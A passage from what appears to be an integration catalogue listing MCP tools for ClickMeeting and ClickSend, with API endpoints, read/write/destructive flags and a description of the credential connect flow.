clickmeeting_post_conferences_by_conference_id_recordings_by_recording_id_unpublish (write) — Unpublish recording via POST /conferences/{conference_id}/recordings/{recording_id}/unpublish. Method unpublishes a particular recording POST /api/v1/clickmeeting/conferences/{conference_id}/recordings/{recording_id}/unpublish. Scopes: api. clickmeeting_post_conferences_by_room_id_invitation_email (write) — Send invitation email via POST /conferences/{room_id}/invitation/email/{lang}. lang is en, pl, ru, es, de, fr, it or pt; template is basic or advanced; role is listener (default) or presenter POST /api/v1/clickmeeting/conferences/{room_id}/invitation/email/{lang}. Scopes: api. clickmeeting_post_conferences_by_room_id_registration (write) — Register participant via POST /conferences/{room_id}/registration. Method allows to register participant to a particular room. returns the registrant's meeting url POST /api/v1/clickmeeting/conferences/{room_id}/registration. Scopes: api. clickmeeting_post_conferences_by_room_id_room_autologin_hash (write) — Auto-login url to meeting room via POST /conferences/{room_id}/room/autologin_hash. build the auto-login url as ?l=. role is listener, moderator, guest_speaker, presenter or host POST /api/v1/clickmeeting/conferences/{room_id}/room/autologin_hash. Scopes: api. clickmeeting_post_conferences_by_room_id_token (write) — Get tokens assigned to particular emails via POST /conferences/{room_id}/token. If the attribute access_type is set to 3 for the specific room, you can get access tokens by providing email addresses tokens are assigned to. room must have access_type 3 POST /api/v1/clickmeeting/conferences/{room_id}/token. Scopes: api. clickmeeting_post_conferences_by_room_id_tokens (write) — Access token generation via POST /conferences/{room_id}/tokens. If the attribute access_type is set to 3 for the specific room, you can generate access tokens for meeting or webinar participants. room must have access_type 3; up to 1000 tokens per request POST /api/v1/clickmeeting/conferences/{room_id}/tokens. Scopes: api. clickmeeting_post_contacts (write) — Adding new contact via POST /contacts. Method add new contact into account POST /api/v1/clickmeeting/contacts. Scopes: api. clickmeeting_put_conferences_by_room_id (write) — Editing Room Parametres via PUT /conferences/{room_id}. Method allows editing of a particular room. include permanent_room when changing starts_at or duration PUT /api/v1/clickmeeting/conferences/{room_id}. Scopes: api. ================================================================================ ## ClickSend URL: https://www.agenticfabriq.com/integrations/clicksend Section: Integrated Tools ClickSend — 205 MCP tools Provider key: clicksend. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. clicksend_delete_automations_email_receipt_by_rule_id (write, destructive) — Delete a Rule via DELETE /automations/email/receipts/{rule_id} DELETE /api/v1/clicksend/automations/email/receipts/{rule_id}. Scopes: api. clicksend_delete_automations_fax_inbound_by_inbound_rule_id (write, destructive) — Delete a rule via DELETE /automations/fax/inbound/{inbound_rule_id} DELETE /api/v1/clicksend/automations/fax/inbound/{inbound_rule_id}. Scopes: api. clicksend_delete_automations_fax_receipts_by_rule_id (write, destructive) — Delete a Rule via DELETE /automations/fax/receipts/{rule_id} DELETE /api/v1/clicksend/automations/fax/receipts/{rule_id}. Scopes: api. clicksend_delete_automations_sms_inbound_by_inbound_rule_id (write, destructive) — Delete a rule via DELETE /automations/sms/inbound/{inbound_rule_id} DELETE /api/v1/clicksend/automations/sms/inbound/{inbound_rule_id}. Scopes: api. clicksend_delete_automations_sms_receipts_by_receipt_rule_id (write, destructive) — Delete a rule via DELETE /automations/sms/receipts/{receipt_rule_id} DELETE /api/v1/clicksend/automations/sms/receipts/{receipt_rule_id}. Scopes: api. clicksend_delete_automations_voice_receipts_by_receipt_rule_id (write, destructive) — Delete a rule via DELETE /automations/voice/receipts/{receipt_rule_id} DELETE /api/v1/clicksend/automations/voice/receipts/{receipt_rule_id}. Scopes: api. clicksend_delete_email_addresses_by_email_address_id (write, destructive) — Delete Allowed Email Address via DELETE /email/addresses/{email_address_id} DELETE /api/v1/clicksend/email/addresses/{email_address_id}. Scopes: api. clicksend_delete_email_templates_by_template_id (write, destructive) — Delete Email Template via DELETE /email/templates/{template_id} DELETE /api/v1/clicksend/email/templates/{template_id}. Scopes: api. clicksend_delete_lists_by_list_id (write, destructive) — Delete a specific contact list via DELETE /lists/{list_id} DELETE /api/v1/clicksend/lists/{list_id}. Scopes: api. clicksend_delete_lists_by_list_id_contacts_by_contact_id (write, destructive) — Delete a specific contact via DELETE /lists/{list_id}/contacts/{contact_id} DELETE /api/v1/clicksend/lists/{list_id}/contacts/{contact_id}. Scopes: api. clicksend_delete_post_return_addresses_by_return_address_id (write, destructive) — Delete Post Return Address via DELETE /post/return-addresses/{return_address_id} DELETE /api/v1/clicksend/post/return-addresses/{return_address_id}. Scopes: api. clicksend_delete_sms_email_sms_by_email_address_id (write, destructive) — Delete Email-to-SMS Allowed Address via DELETE /sms/email-sms/{email_address_id}. Delete a specific allowed email address. DELETE /api/v1/clicksend/sms/email-sms/{email_address_id}. Scopes: api. clicksend_delete_sms_email_sms_stripped_strings_by_rule_id (write, destructive) — Delete Stripped String via DELETE /sms/email-sms-stripped-strings/{rule_id} DELETE /api/v1/clicksend/sms/email-sms-stripped-strings/{rule_id}. Scopes: api. clicksend_delete_sms_templates_by_template_id (write, destructive) — Delete a Template via DELETE /sms/templates/{template_id} DELETE /api/v1/clicksend/sms/templates/{template_id}. Scopes: api. clicksend_delete_subaccounts_by_subaccount_id (write, destructive) — Delete a specific subaccount via DELETE /subaccounts/{subaccount_id} DELETE /api/v1/clicksend/subaccounts/{subaccount_id}. Scopes: api. clicksend_get_account (read) — Get account via GET /account GET /api/v1/clicksend/account. Scopes: api. clicksend_get_account_usage_by_year_by_month_by_type (read) — Account Usage via GET /account/usage/{year}/{month}/{type} GET /api/v1/clicksend/account/usage/{year}/{month}/{type}. Scopes: api. clicksend_get_automations_email_receipt (read) — List Rules via GET /automations/email/receipts GET /api/v1/clicksend/automations/email/receipts. Scopes: api. clicksend_get_automations_email_receipt_by_rule_id (read) — Get a Specific Rule via GET /automations/email/receipts/{rule_id} GET /api/v1/clicksend/automations/email/receipts/{rule_id}. Scopes: api. clicksend_get_automations_fax_inbound (read) — List rules via GET /automations/fax/inbound GET /api/v1/clicksend/automations/fax/inbound. Scopes: api. clicksend_get_automations_fax_inbound_by_inbound_rule_id (read) — Get a specific rule via GET /automations/fax/inbound/{inbound_rule_id} GET /api/v1/clicksend/automations/fax/inbound/{inbound_rule_id}. Scopes: api. clicksend_get_automations_fax_receipts (read) — List Rules via GET /automations/fax/receipts GET /api/v1/clicksend/automations/fax/receipts. Scopes: api. clicksend_get_automations_fax_receipts_by_rule_id (read) — Get a Specific Rule via GET /automations/fax/receipts/{rule_id} GET /api/v1/clicksend/automations/fax/receipts/{rule_id}. Scopes: api. clicksend_get_automations_sms_inbound (read) — List rules via GET /automations/sms/inbound GET /api/v1/clicksend/automations/sms/inbound. Scopes: api. clicksend_get_automations_sms_inbound_by_inbound_rule_id (read) — Get a specific rule via GET /automations/sms/inbound/{inbound_rule_id} GET /api/v1/clicksend/automations/sms/inbound/{inbound_rule_id}. Scopes: api. clicksend_get_automations_sms_receipts (read) — List rules via GET /automations/sms/receipts GET /api/v1/clicksend/automations/sms/receipts. Scopes: api. clicksend_get_automations_sms_receipts_by_receipt_rule_id (read) — Get a specific rule via GET /automations/sms/receipts/{receipt_rule_id} GET /api/v1/clicksend/automations/sms/receipts/{receipt_rule_id}. Scopes: api. clicksend_get_automations_voice_receipts (read) — List rules via GET /automations/voice/receipts GET /api/v1/clicksend/automations/voice/receipts. Scopes: api. clicksend_get_automations_voice_receipts_by_receipt_rule_id (read) — Get a specific rule via GET /automations/voice/receipts/{receipt_rule_id} GET /api/v1/clicksend/automations/voice/receipts/{receipt_rule_id}. Scopes: api. clicksend_get_contact_suggestions (read) — List Contact Suggestions via GET /contact-suggestions GET /api/v1/clicksend/contact-suggestions. Scopes: api. clicksend_get_countries (read) — Get all Countries via GET /countries GET /api/v1/clicksend/countries. Scopes: api. clicksend_get_delivery_issues (read) — Get Delivery Issues via GET /delivery-issues GET /api/v1/clicksend/delivery-issues. Scopes: api. clicksend_get_email_addresses (read) — Get All Allowed Email Addresses via GET /email/addresses GET /api/v1/clicksend/email/addresses. Scopes: api. clicksend_get_email_addresses_by_email_address_id (read) — Get Specific Allowed Email Address via GET /email/addresses/{email_address_id} GET /api/v1/clicksend/email/addresses/{email_address_id}. Scopes: api. clicksend_get_email_campaigns (read) — Get All Email Campaigns via GET /email-campaigns GET /api/v1/clicksend/email-campaigns. Scopes: api. clicksend_get_email_campaigns_by_campaign_id_history (read) — Get Specific Email Campaign History via GET /email-campaigns/{campaign_id}/history GET /api/v1/clicksend/email-campaigns/{campaign_id}/history. Scopes: api. clicksend_get_email_campaigns_by_email_campaign_id (read) — Get Specific Email Campaign via GET /email-campaigns/{email_campaign_id} GET /api/v1/clicksend/email-campaigns/{email_campaign_id}. Scopes: api. clicksend_get_email_history (read) — Email History via GET /email/history GET /api/v1/clicksend/email/history. Scopes: api. clicksend_get_email_history_export_filename_by_filename (read) — Export History via GET /email/history/export GET /api/v1/clicksend/email/history/export. Scopes: api. clicksend_get_email_master_templates (read) — Get All Master Email Templates via GET /email/master-templates GET /api/v1/clicksend/email/master-templates. Scopes: api. clicksend_get_email_master_templates_by_template_id (read) — Get Specific Master Template via GET /email/master-templates/{template_id} GET /api/v1/clicksend/email/master-templates/{template_id}. Scopes: api. clicksend_get_email_master_templates_categories (read) — Get All Master Template Categories via GET /email/master-templates-categories GET /api/v1/clicksend/email/master-templates-categories. Scopes: api. clicksend_get_email_master_templates_categories_by_category_id (read) — Get Specific Email Template Category via GET /email/master-templates-categories/{category_id} GET /api/v1/clicksend/email/master-templates-categories/{category_id}. Scopes: api. clicksend_get_email_master_templates_categories_by_category_id_master_templates (read) — Get All Templates For Category via GET /email/master-templates-categories/{category_id}/master-templates GET /api/v1/clicksend/email/master-templates-categories/{category_id}/master-templates. Scopes: api. clicksend_get_email_templates (read) — Get All Email Templates via GET /email/templates GET /api/v1/clicksend/email/templates. Scopes: api. clicksend_get_email_templates_by_template_id (read) — Get Specific Email Template via GET /email/templates/{template_id} GET /api/v1/clicksend/email/templates/{template_id}. Scopes: api. clicksend_get_fax_history_date_from_by_date_from_date_to_by_date_to_q_by_q_order_by_by_order_by (read) — Get Fax History via GET /fax/history. Get a list of Fax History. GET /api/v1/clicksend/fax/history. Scopes: api. clicksend_get_fax_history_export_filename_by_filename (read) — Export Fax History via GET /fax/history/export GET /api/v1/clicksend/fax/history/export. Scopes: api. clicksend_get_fax_receipts (read) — List of Fax Delivery Receipts via GET /fax/receipts GET /api/v1/clicksend/fax/receipts. Scopes: api. clicksend_get_fax_receipts_by_message_id (read) — Get a Specific Fax Delivery Receipt via GET /fax/receipts/{message_id} GET /api/v1/clicksend/fax/receipts/{message_id}. Scopes: api. clicksend_get_lists (read) — Get all Contact Lists via GET /lists GET /api/v1/clicksend/lists. Scopes: api. clicksend_get_lists_by_list_id (read) — Get a specific contact list via GET /lists/{list_id} GET /api/v1/clicksend/lists/{list_id}. Scopes: api. clicksend_get_lists_by_list_id_contacts (read) — Get all Contacts in a List via GET /lists/{list_id}/contacts GET /api/v1/clicksend/lists/{list_id}/contacts. Scopes: api. clicksend_get_lists_by_list_id_contacts_by_contact_id (read) — Get a specific contact via GET /lists/{list_id}/contacts/{contact_id} GET /api/v1/clicksend/lists/{list_id}/contacts/{contact_id}. Scopes: api. clicksend_get_lists_by_list_id_export_filename_by_filename (read) — Export Contacts List via GET /lists/{list_id}/export GET /api/v1/clicksend/lists/{list_id}/export. Scopes: api. clicksend_get_lists_by_list_id_import_fields (read) — Get List of Acceptable Import Fields via GET /lists/{list_id}/import-fields GET /api/v1/clicksend/lists/{list_id}/import-fields. Scopes: api. clicksend_get_mms_history_export_filename_by_filename (read) — Export MMS History via GET /mms/history/export GET /api/v1/clicksend/mms/history/export. Scopes: api. clicksend_get_mms_history_q_by_q_order_by_by_order_by_date_from_by_date_from_date_to_by_date_to (read) — Get MMS History via GET /mms/history GET /api/v1/clicksend/mms/history. Scopes: api. clicksend_get_mms_receipts (read) — Get all Delivery Receipts via GET /mms/receipts GET /api/v1/clicksend/mms/receipts. Scopes: api. clicksend_get_mms_receipts_by_message_id (read) — Get Delivery Receipt via GET /mms/receipts/{message_id} GET /api/v1/clicksend/mms/receipts/{message_id}. Scopes: api. clicksend_get_numbers (read) — Get all Dedicated Numbers via GET /numbers GET /api/v1/clicksend/numbers. Scopes: api. clicksend_get_numbers_search_by_country_by_search_1_by_search_type_2 (read) — Search Dedicated Numbers by Country via GET /numbers/search/{country} GET /api/v1/clicksend/numbers/search/{country}. Scopes: api. clicksend_get_post_direct_mail_campaigns (read) — List Direct Mail Campaigns via GET /post/direct-mail/campaigns. Get list of direct mail campaigns. GET /api/v1/clicksend/post/direct-mail/campaigns. Scopes: api. clicksend_get_post_direct_mail_locations_search_by_country_q_by_query (read) — Search Locations via GET /post/direct-mail/locations/search/{country} GET /api/v1/clicksend/post/direct-mail/locations/search/{country}. Scopes: api. clicksend_get_post_letters_history (read) — Get Post Letter History via GET /post/letters/history GET /api/v1/clicksend/post/letters/history. Scopes: api. clicksend_get_post_letters_history_export_filename_by_filename (read) — Export Post Letter History via GET /post/letters/history/export GET /api/v1/clicksend/post/letters/history/export. Scopes: api. clicksend_get_post_postcards_export_filename_by_filename (read) — Export Postcard History via GET /post/postcards/history/export GET /api/v1/clicksend/post/postcards/history/export. Scopes: api. clicksend_get_post_postcards_history (read) — Get Postcard History via GET /post/postcards/history GET /api/v1/clicksend/post/postcards/history. Scopes: api. clicksend_get_post_return_addresses (read) — Get List of Post Return Addresses via GET /post/return-addresses GET /api/v1/clicksend/post/return-addresses. Scopes: api. clicksend_get_post_return_addresses_by_return_address_id (read) — Get Post Return Address via GET /post/return-addresses/{return_address_id} GET /api/v1/clicksend/post/return-addresses/{return_address_id}. Scopes: api. clicksend_get_pricing_by_country_currency_by_currency (read) — Get Country Pricing via GET /pricing/{country} GET /api/v1/clicksend/pricing/{country}. Scopes: api. clicksend_get_recharge_credit_card (read) — Get Credit Card info via GET /recharge/credit-card GET /api/v1/clicksend/recharge/credit-card. Scopes: api. clicksend_get_recharge_packages_country_by_country (read) — List of Packages via GET /recharge/packages GET /api/v1/clicksend/recharge/packages. Scopes: api. clicksend_get_recharge_transactions (read) — Get Transactions via GET /recharge/transactions GET /api/v1/clicksend/recharge/transactions. Scopes: api. clicksend_get_recharge_transactions_by_transaction_id (read) — Get a specific transaction via GET /recharge/transactions/{transaction_id} GET /api/v1/clicksend/recharge/transactions/{transaction_id}. Scopes: api. clicksend_get_referral_accounts (read) — Get List of Referral Accounts via GET /referral/accounts GET /api/v1/clicksend/referral/accounts. Scopes: api. clicksend_get_reseller (read) — Get Reseller Setting via GET /reseller. Get reseller setting. GET /api/v1/clicksend/reseller. Scopes: api. clicksend_get_reseller_accounts (read) — List of Reseller Accounts via GET /reseller/accounts. Get list of Reseller Accounts GET /api/v1/clicksend/reseller/accounts. Scopes: api. clicksend_get_reseller_accounts_by_client_user_id (read) — Get Reseller Account via GET /reseller/accounts/{client_user_id}. Get a specific reseller account. GET /api/v1/clicksend/reseller/accounts/{client_user_id}. Scopes: api. clicksend_get_reseller_by_subdomain (read) — Reseller By Subdomain via GET /reseller/{subdomain}. Get reseller setting by subdomin. GET /api/v1/clicksend/reseller/{subdomain}. Scopes: api. clicksend_get_sdk_download_by_type (read) — SDK Download via GET /sdk-download/{type} GET /api/v1/clicksend/sdk-download/{type}. Scopes: api. clicksend_get_search_contacts_lists_q_by_q (read) — Search Contacts-Lists via GET /search/contacts-lists GET /api/v1/clicksend/search/contacts-lists. Scopes: api. clicksend_get_sms_campaigns (read) — Get list of SMS Campaigns via GET /sms-campaigns GET /api/v1/clicksend/sms-campaigns. Scopes: api. clicksend_get_sms_campaigns_by_campaign_id_link_export_filename_by_filename (read) — Link Tracking Export via GET /sms-campaigns/{campaign_id}/link-export. Compile all link tracking for the specified campaign into a CSV for download. GET /api/v1/clicksend/sms-campaigns/{campaign_id}/link-export. Scopes: api. clicksend_get_sms_campaigns_by_campaign_id_link_statistics (read) — Link Statistics via GET /sms-campaigns/{campaign_id}/link-statistics. Get the breakdown of statistics for your campaign. Note that the returned values vary depending on your specific customers' interaction, so it's not safe to assume a value will always be specified. GET /api/v1/clicksend/sms-campaigns/{campaign_id}/link-statistics. Scopes: api. clicksend_get_sms_campaigns_by_campaign_id_link_tracking (read) — Link Tracking via GET /sms-campaigns/{campaign_id}/link-tracking. This endpoint gives you a paginated overview of all the links in a particular campaign, and who has and hasn't visited them. GET /api/v1/clicksend/sms-campaigns/{campaign_id}/link-tracking. Scopes: api. clicksend_get_sms_campaigns_by_sms_campaign_id (read) — Get SMS Campaign via GET /sms-campaigns/{sms_campaign_id} GET /api/v1/clicksend/sms-campaigns/{sms_campaign_id}. Scopes: api. clicksend_get_sms_email_sms (read) — List of Email-to-SMS Allowed Address via GET /sms/email-sms. Get list of allowed email addresses. GET /api/v1/clicksend/sms/email-sms. Scopes: api. clicksend_get_sms_email_sms_by_email_address_id (read) — Get specific Email-to-SMS Allowed Address via GET /sms/email-sms/{email_address_id}. Get a specific allowed email address. GET /api/v1/clicksend/sms/email-sms/{email_address_id}. Scopes: api. clicksend_get_sms_email_sms_stripped_strings (read) — List Stripped Strings via GET /sms/email-sms-stripped-strings GET /api/v1/clicksend/sms/email-sms-stripped-strings. Scopes: api. clicksend_get_sms_email_sms_stripped_strings_by_rule_id (read) — Find Specific Stripped String via GET /sms/email-sms-stripped-strings/{rule_id} GET /api/v1/clicksend/sms/email-sms-stripped-strings/{rule_id}. Scopes: api. clicksend_get_sms_history_date_from_by_date_from_date_to_by_date_to (read) — Get all History via GET /sms/history. **SMS Delivery Status** **Status (status field)** | Status | Description | |---|---|---| | `Completed` | Added to delivery queue. Waiting to be sent to the network.| | `Sent` | Message sent to the network.| | `Cancelled` | Message cancelled.| | `Scheduled` | Message scheduled.| | `WaitApproval` | Waiting approval by our team. This is temporary and will change to 'Sent' once approved. This only happens for a few messages that are flagged for approval by our automated spam-detection system.| **Status Codes (status_code field)** | Code | Text | Description | |---|---|---| | `200` | Sent by network| Temporary success| | `201` | Received on handset| Permanent success| | `300` | Delivery failure| Permanent failure| | `301` | Delivery failure| Permanent failure| | `302` | Delivery failure| Temporary failure - supplier routing issue| GET /api/v1/clicksend/sms/history. Scopes: api. clicksend_get_sms_history_export_filename_by_filename (read) — Export SMS History via GET /sms/history/export GET /api/v1/clicksend/sms/history/export. Scopes: api. clicksend_get_sms_inbound (read) — Get all Inbound SMS - Pull via GET /sms/inbound GET /api/v1/clicksend/sms/inbound. Scopes: api. clicksend_get_sms_inbound_by_outbound_message_id (read) — Get Specific Inbound - Pull via GET /sms/inbound/{outbound_message_id} GET /api/v1/clicksend/sms/inbound/{outbound_message_id}. Scopes: api. clicksend_get_sms_receipts (read) — Get all Delivery Receipts via GET /sms/receipts GET /api/v1/clicksend/sms/receipts. Scopes: api. clicksend_get_sms_receipts_by_message_id (read) — Get a Specific Delivery Receipt via GET /sms/receipts/{message_id} GET /api/v1/clicksend/sms/receipts/{message_id}. Scopes: api. clicksend_get_sms_templates (read) — List of Templates via GET /sms/templates. Get list of templates. GET /api/v1/clicksend/sms/templates. Scopes: api. clicksend_get_statistics_sms (read) — Get SMS Statistics via GET /statistics/sms GET /api/v1/clicksend/statistics/sms. Scopes: api. clicksend_get_statistics_voice (read) — Get Voice Statistics via GET /statistics/voice GET /api/v1/clicksend/statistics/voice. Scopes: api. clicksend_get_subaccounts (read) — Get all Subaccounts via GET /subaccounts GET /api/v1/clicksend/subaccounts. Scopes: api. clicksend_get_subaccounts_by_subaccount_id (read) — Get a specific subaccount via GET /subaccounts/{subaccount_id} GET /api/v1/clicksend/subaccounts/{subaccount_id}. Scopes: api. clicksend_get_timezones (read) — Get Timezones via GET /timezones. Get supported list of timezones. GET /api/v1/clicksend/timezones. Scopes: api. clicksend_get_voice_history_date_from_by_date_from_date_to_by_date_to (read) — Get Voice History via GET /voice/history GET /api/v1/clicksend/voice/history. Scopes: api. clicksend_get_voice_history_export_filename_by_filename (read) — Export Voice History via GET /voice/history/export GET /api/v1/clicksend/voice/history/export. Scopes: api. clicksend_get_voice_lang (read) — Voice Languages via GET /voice/lang GET /api/v1/clicksend/voice/lang. Scopes: api. clicksend_get_voice_receipts (read) — Get Voice receipts via GET /voice/receipts GET /api/v1/clicksend/voice/receipts. Scopes: api. clicksend_get_voice_receipts_by_message_id (read) — Get Specific Voice Receipt via GET /voice/receipts/{message_id} GET /api/v1/clicksend/voice/receipts/{message_id}. Scopes: api. clicksend_post_account (write) — Create a new account via POST /account. **Note:** *Authentication isn't required to create a new account.* POST /api/v1/clicksend/account. Scopes: api. clicksend_post_automations_email_receipt (write) — Create a New Rule via POST /automations/email/receipts POST /api/v1/clicksend/automations/email/receipts. Scopes: api. clicksend_post_automations_fax_inbound (write) — Create a new rule via POST /automations/fax/inbound POST /api/v1/clicksend/automations/fax/inbound. Scopes: api. clicksend_post_automations_fax_receipts (write) — Create a New Rule via POST /automations/fax/receipts POST /api/v1/clicksend/automations/fax/receipts. Scopes: api. clicksend_post_automations_sms_inbound (write) — Create a new rule via POST /automations/sms/inbound POST /api/v1/clicksend/automations/sms/inbound. Scopes: api. clicksend_post_automations_sms_receipts (write) — Create a new rule via POST /automations/sms/receipts POST /api/v1/clicksend/automations/sms/receipts. Scopes: api. clicksend_post_automations_voice_receipts (write) — Create a new rule via POST /automations/voice/receipts POST /api/v1/clicksend/automations/voice/receipts. Scopes: api. clicksend_post_delivery_issues (write) — Create Delivery Issue via POST /delivery-issues POST /api/v1/clicksend/delivery-issues. Scopes: api. clicksend_post_email_addresses (write) — Create Allowed Email Address via POST /email/addresses POST /api/v1/clicksend/email/addresses. Scopes: api. clicksend_post_email_campaigns_price (write) — Calculate Price via POST /email-campaigns/price POST /api/v1/clicksend/email-campaigns/price. Scopes: api. clicksend_post_email_campaigns_send (write) — Create Email Campaign via POST /email-campaigns/send POST /api/v1/clicksend/email-campaigns/send. Scopes: api. clicksend_post_email_price (write) — Email Price via POST /email/price POST /api/v1/clicksend/email/price. Scopes: api. clicksend_post_email_receipts (write) — Add a Test Delivery Receipt via POST /email/receipts POST /api/v1/clicksend/email/receipts. Scopes: api. clicksend_post_email_send (write) — Email Send via POST /email/send POST /api/v1/clicksend/email/send. Scopes: api. clicksend_post_email_templates (write) — Create New Email Template from Master Template via POST /email/templates POST /api/v1/clicksend/email/templates. Scopes: api. clicksend_post_email_templates_images_by_template_id (write) — Upload Image to Specific Template via POST /email/templates-images/{template_id} POST /api/v1/clicksend/email/templates-images/{template_id}. Scopes: api. clicksend_post_fax_price (write) — Calculate Price via POST /fax/price POST /api/v1/clicksend/fax/price. Scopes: api. clicksend_post_fax_receipts (write) — Add a Test Delivery Receipt via POST /fax/receipts POST /api/v1/clicksend/fax/receipts. Scopes: api. clicksend_post_fax_send (write) — Send Fax via POST /fax/send. **Letter File Options** **Use existing URL** With this option, you can use an existing URL to a PDF document. For example, you might generate the pdf on your server. **Upload File to Our Server** With this option, you can use the `/uploads` endpoint to upload the document. The `/uploads` endpoint returns a URL that can be used in the `/fax/send` endpoint. POST /api/v1/clicksend/fax/send. Scopes: api. clicksend_post_lists (write) — Create a new contact list via POST /lists POST /api/v1/clicksend/lists. Scopes: api. clicksend_post_lists_by_list_id_contacts (write) — Create a new contact via POST /lists/{list_id}/contacts. Note that the fields `phone_number`, `fax_number` and email` are all optional; however at least one of them must be specified, otherwise the API call will fail. POST /api/v1/clicksend/lists/{list_id}/contacts. Scopes: api. clicksend_post_lists_by_list_id_import (write) — Import Contacts to List via POST /lists/{list_id}/import POST /api/v1/clicksend/lists/{list_id}/import. Scopes: api. clicksend_post_lists_by_list_id_import_csv_preview (write) — Show CSV Import File Preview via POST /lists/{list_id}/import-csv-preview. Show first row of the csv import file. POST /api/v1/clicksend/lists/{list_id}/import-csv-preview. Scopes: api. clicksend_post_mms_price (write) — Get Price via POST /mms/price POST /api/v1/clicksend/mms/price. Scopes: api. clicksend_post_mms_send (write) — Send MMS via POST /mms/send POST /api/v1/clicksend/mms/send. Scopes: api. clicksend_post_numbers_buy_by_dedicated_number (write) — Buy dedicated number via POST /numbers/buy/{dedicated_number} POST /api/v1/clicksend/numbers/buy/{dedicated_number}. Scopes: api. clicksend_post_post_direct_mail_campaigns_price (write) — Calculate Direct Mail Campaign Price via POST /post/direct-mail/campaigns/price. Calculate direct mail campaign price. POST /api/v1/clicksend/post/direct-mail/campaigns/price. Scopes: api. clicksend_post_post_direct_mail_campaigns_send (write) — Create New Campaign via POST /post/direct-mail/campaigns/send. Create new direct mail campaign. POST /api/v1/clicksend/post/direct-mail/campaigns/send. Scopes: api. clicksend_post_post_letters_detect_address (write) — Detect Address via POST /post/letters/detect-address. The `detect-address` endpoint accepts either a letter in PDF format or an address string and attempts to convert it to a standard address format. Note that the PDF should be in standard address format, having the recipient's name and address listed at the top. The endpoint accepts two types of data: 1. A PDF file in `base64` encoding. In this case, submit the `base64`-encoded PDF file contents in the `content` field of the request body. 2. An address string. In this case, submit the address in a string using the `address` field of the request body. POST /api/v1/clicksend/post/letters/detect-address. Scopes: api. clicksend_post_post_letters_price (write) — Calculate Price via POST /post/letters/price POST /api/v1/clicksend/post/letters/price. Scopes: api. clicksend_post_post_letters_send (write) — Send Post Letter via POST /post/letters/send. **Supported File Types** We support `pdf`, `docx` and `doc` files. Contact us to add support for any other file type. If you're using `docx` or `doc` files, you'll need to convert the file first using our uploads endpoint with the querystring parameter `convert=post` e.g. `POST /uploads?convert=post`. This will return a URL to the converted pdf file that can be used in the `/post/letters/send` endpoint. **Letter File Options** **Use existing URL** With this option, you can use an existing URL to a `pdf` document. For example, you might generate the `pdf` on your server. **Upload File to Our Server** With this option, you can use the `/uploads` endpoint to upload the document. The `/uploads` endpoint returns a URL that can be used in the `/post/letters/send` endpoint. POST /api/v1/clicksend/post/letters/send. Scopes: api. clicksend_post_post_postcards_price (write) — Calculate Pricing via POST /post/postcards/price. For `file_urls` field. You can attach at least 1 and max of 2 PDF file urls. - Supply a single pdf with 2 pages (front and back) - Supply 2 urls to seperate PDFs POST /api/v1/clicksend/post/postcards/price. Scopes: api. clicksend_post_post_postcards_send (write) — Send Postcard via POST /post/postcards/send. **Supported File Types** We support PDF, docx and doc. Contact us to add support for any other file type. If you're using docx or doc files, you'll need to convert the file first using our uploads endpoint with the querystring parameter ?convert=post. e.g. POST /uploads?convert=post. This will return a URL to the converted pdf file that can be used in the /post/postcards/send endpoint. **Postcard File Options** **Use existing URL** With this option, you can use an existing URL to a PDF document. For example, you might generate the pdf on your server. For `file_urls` field. You can attach at least 1 and max of 2 PDF file urls. - Supply a single pdf with 2 pages (front and back) - Supply 2 urls to seperate PDFs **Upload File to Our Server** With this option, you can use the `/uploads` endpoint to upload the document. The `/uploads` endpoint returns a URL that can be used in the `/post/postcards/send` endpoint. POST /api/v1/clicksend/post/postcards/send. Scopes: api. clicksend_post_post_return_addresses (write) — Create a Post Return Address via POST /post/return-addresses POST /api/v1/clicksend/post/return-addresses. Scopes: api. clicksend_post_reseller_accounts (write) — Create Reseller Account via POST /reseller/accounts POST /api/v1/clicksend/reseller/accounts. Scopes: api. clicksend_post_reseller_accounts_public (write) — Create Reseller Account - Public via POST /reseller/accounts-public POST /api/v1/clicksend/reseller/accounts-public. Scopes: api. clicksend_post_sms_campaigns_price (write) — Calculate Price for SMS Campaign via POST /sms-campaigns/price POST /api/v1/clicksend/sms-campaigns/price. Scopes: api. clicksend_post_sms_campaigns_send (write) — Use Short URL via POST /sms-campaigns/send. This is functionally identical to the **POST /sms-campaigns/send** endpoint, other than adding the `smsg.us/xxxxx` string to the message body additional `url_to_shorten` parameter. POST /api/v1/clicksend/sms-campaigns/send. Scopes: api. clicksend_post_sms_email_sms (write) — Create Email to SMS Allowed Address via POST /sms/email-sms. Create an allowed email address. POST /api/v1/clicksend/sms/email-sms. Scopes: api. clicksend_post_sms_email_sms_stripped_strings (write) — Create Stripped String via POST /sms/email-sms-stripped-strings POST /api/v1/clicksend/sms/email-sms-stripped-strings. Scopes: api. clicksend_post_sms_inbound (write) — Add a Test Inbound SMS via POST /sms/inbound POST /api/v1/clicksend/sms/inbound. Scopes: api. clicksend_post_sms_price (write) — Calculate Price via POST /sms/price POST /api/v1/clicksend/sms/price. Scopes: api. clicksend_post_sms_receipts (write) — Add a Test Delivery Receipt via POST /sms/receipts POST /api/v1/clicksend/sms/receipts. Scopes: api. clicksend_post_sms_send (write) — Send an SMS via POST /sms/send. You can post **up to 1000 messages** with each API call. POST /api/v1/clicksend/sms/send. Scopes: api. clicksend_post_sms_templates (write) — Create a Template via POST /sms/templates. Create new template. POST /api/v1/clicksend/sms/templates. Scopes: api. clicksend_post_subaccounts (write) — Create a new subaccount via POST /subaccounts POST /api/v1/clicksend/subaccounts. Scopes: api. clicksend_post_uploads_convert_by_convert (write) — Upload a file via POST /uploads POST /api/v1/clicksend/uploads. Scopes: api. clicksend_post_voice_price (write) — Calculate Price via POST /voice/price POST /api/v1/clicksend/voice/price. Scopes: api. clicksend_post_voice_receipts (write) — Add a Test Delivery Receipt via POST /voice/receipts POST /api/v1/clicksend/voice/receipts. Scopes: api. clicksend_post_voice_send (write) — Send a Voice Call via POST /voice/send. You can post **up to 1000 messages** with each API call. We support some SSML tags allowing custom breaks or pauses to be entered, and the readout rate to be altered. [More info](https://help.clicksend.com/voice/how-to-adjust-tts-voice-calls). POST /api/v1/clicksend/voice/send. Scopes: api. clicksend_put_account (write) — Update Account via PUT 